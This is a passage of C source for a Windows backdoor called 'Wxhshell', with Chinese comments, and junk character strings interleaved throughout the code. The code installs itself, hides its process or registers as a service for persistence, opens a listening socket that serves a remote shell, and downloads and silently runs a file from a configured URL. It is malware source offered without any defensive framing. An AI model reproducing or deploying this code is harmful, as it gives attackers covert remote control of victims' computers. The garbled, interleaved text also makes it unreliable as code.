zU-g if (!NtQueryInformationProcess) return 0; :-n4!z"k u/WkqJvw# hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S5M t?v|K if(!hProcess) return 0; 7IRn 7="V7 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #4?3OU# K[Kc'6G CloseHandle(hProcess); MI 3_<[ )Q`<O hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eP8wTStC if(hProcess==NULL) return 0; &40dJ~SQ |/ Z4lcI HMODULE hMod; 6|x<)Gc char procName[255]; O,PHAwVG%L unsigned long cbNeeded; NO)*UZ i[swOYz]X if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1l{n`gR z841g `:C CloseHandle(hProcess); DzMk eX Zf! 7pM if(strstr(procName,"services")) return 1; // 以服务启动 H>?@nYP QaV*}W return 0; // 注册表启动 ~V4|DN[I } [aW#7 -!"8j"pA: // 主模块 <KC gtO int StartWxhshell(LPSTR lpCmdLine) e5Z\v0 { =W?c1EPLCx SOCKET wsl; ;#*mB` BOOL val=TRUE; -\vq-n int port=0; <@P0sd struct sockaddr_in door; 0td;Ag Q{l;8MCL if(wscfg.ws_autoins) Install(); 2q>4nN )yJjJ:re port=atoi(lpCmdLine); ) PtaX|U i?]!8Ji if(port<=0) port=wscfg.ws_port; t+
@F"[j 0Pe.G0 # WSADATA data; H}X"yLog* if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HD|5:f AqA ?k-IS5G if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; pc #^{- setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f>o@Y]/l door.sin_family = AF_INET; pa7fTd
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Hmz[pTQ|87 door.sin_port = htons(port); *Z(qk`e.b ^gy(~u if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8EQ;+V closesocket(wsl); |2Dlw]d return 1; mdwY48b } '5IJ;4k F+X3CB,f if(listen(wsl,2) == INVALID_SOCKET) { 15B$Sp!/`e closesocket(wsl); G:UdU{ return 1; K%;O$
> } Y\lBPp0{\v Wxhshell(wsl); =1D*K% WSACleanup(); 7RO=X%0A m&2m' =( return 0; }w$/x<Q[ '(Pbz
} p^2pv{by XHV+Y+VG // 以NT服务方式启动 1BF+sT3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0kDT:3 { S5;q)qz2J DWORD status = 0; 3|C"F-'< DWORD specificError = 0xfffffff; t]V)3Ww B$HQFdTli serviceStatus.dwServiceType = SERVICE_WIN32; {\k9%2V*+ serviceStatus.dwCurrentState = SERVICE_START_PENDING; IBR;q[Dj} serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k,H4<")H serviceStatus.dwWin32ExitCode = 0; wvfCj6}S& serviceStatus.dwServiceSpecificExitCode = 0; N24+P5 serviceStatus.dwCheckPoint = 0; |Q$C%7 serviceStatus.dwWaitHint = 0; R1U\ / iS{)Tll}& hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1oC/W?l^ if (hServiceStatusHandle==0) return; 0-QkRr_I tW(E\#!|p< status = GetLastError(); Z"P{/~HG if (status!=NO_ERROR) @9^kl$ { v<O\ l~S serviceStatus.dwCurrentState = SERVICE_STOPPED; <ioX|.7ZX serviceStatus.dwCheckPoint = 0; q,2
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serviceStatus.dwWaitHint = 0; P9c1NX\- serviceStatus.dwWin32ExitCode = status; ?[kO= hs serviceStatus.dwServiceSpecificExitCode = specificError; ar{Yq SetServiceStatus(hServiceStatusHandle, &serviceStatus); T_r[#j return; *rWE.4=& } 0KEytm] B]jh$@ serviceStatus.dwCurrentState = SERVICE_RUNNING; i
cZQv] serviceStatus.dwCheckPoint = 0; ,L`qV serviceStatus.dwWaitHint = 0; L&eO?I=, if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n^'{{@&(v } j,Mp["X& 7IHWj< // 处理NT服务事件,比如:启动、停止 _ TUw0:& VOID WINAPI NTServiceHandler(DWORD fdwControl) y`'Ly@s { L%fWa2P' switch(fdwControl) D 4@=+ { A:N!H_x case SERVICE_CONTROL_STOP: fY>\VY$> serviceStatus.dwWin32ExitCode = 0; #Qkl| h serviceStatus.dwCurrentState = SERVICE_STOPPED; a"~W1|JC" serviceStatus.dwCheckPoint = 0; DK:d'zb serviceStatus.dwWaitHint = 0; lk8VJ~2d { YTY0N5[" SetServiceStatus(hServiceStatusHandle, &serviceStatus); IUzRE?Kzf } bBjVot return; E#T'=f[r~ case SERVICE_CONTROL_PAUSE: Y5K!DMKY serviceStatus.dwCurrentState = SERVICE_PAUSED; ')_jK',1 break; AX6e}-S1n case SERVICE_CONTROL_CONTINUE: I(<1-3~ serviceStatus.dwCurrentState = SERVICE_RUNNING; eK]GyY/Y break; Z$2mVRS`c case SERVICE_CONTROL_INTERROGATE: )M1.>?b break; YV0e)bf }; X!r!lW SetServiceStatus(hServiceStatusHandle, &serviceStatus); enZW2o97c } /bg8oB4 @w@rW
}i0 // 标准应用程序主函数 wjpkh~qo int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7GKeqv { IWTD>c). DT_012z // 获取操作系统版本 0(teplo&P OsIsNt=GetOsVer(); OS,-dG( GetModuleFileName(NULL,ExeFile,MAX_PATH); nQ8EV>j2 G$ip Wi // 从命令行安装 )5&Wt@7Kj` if(strpbrk(lpCmdLine,"iI")) Install(); >4bOM@[] -^C;WFh8) // 下载执行文件 #[J..i/h if(wscfg.ws_downexe) { 6Ba>l$/q if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @Yy=HV WinExec(wscfg.ws_filenam,SW_HIDE); [4"%NY } ^
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a1Z if(!OsIsNt) { cpf8f i // 如果时win9x,隐藏进程并且设置为注册表启动 ~ 5`Ngpp HideProc(); 3"%:S_[ StartWxhshell(lpCmdLine); 60-LpGhvy } %N>@( . else _M{m6k(h if(StartFromService()) R(ay&f%E // 以服务方式启动 2N `Vx3 StartServiceCtrlDispatcher(DispatchTable); aNfgSo05@n else (n# // 普通方式启动 eDG=-a4 StartWxhshell(lpCmdLine); |)1"*`z y=-d*E return 0; ZO:{9vt=/ }
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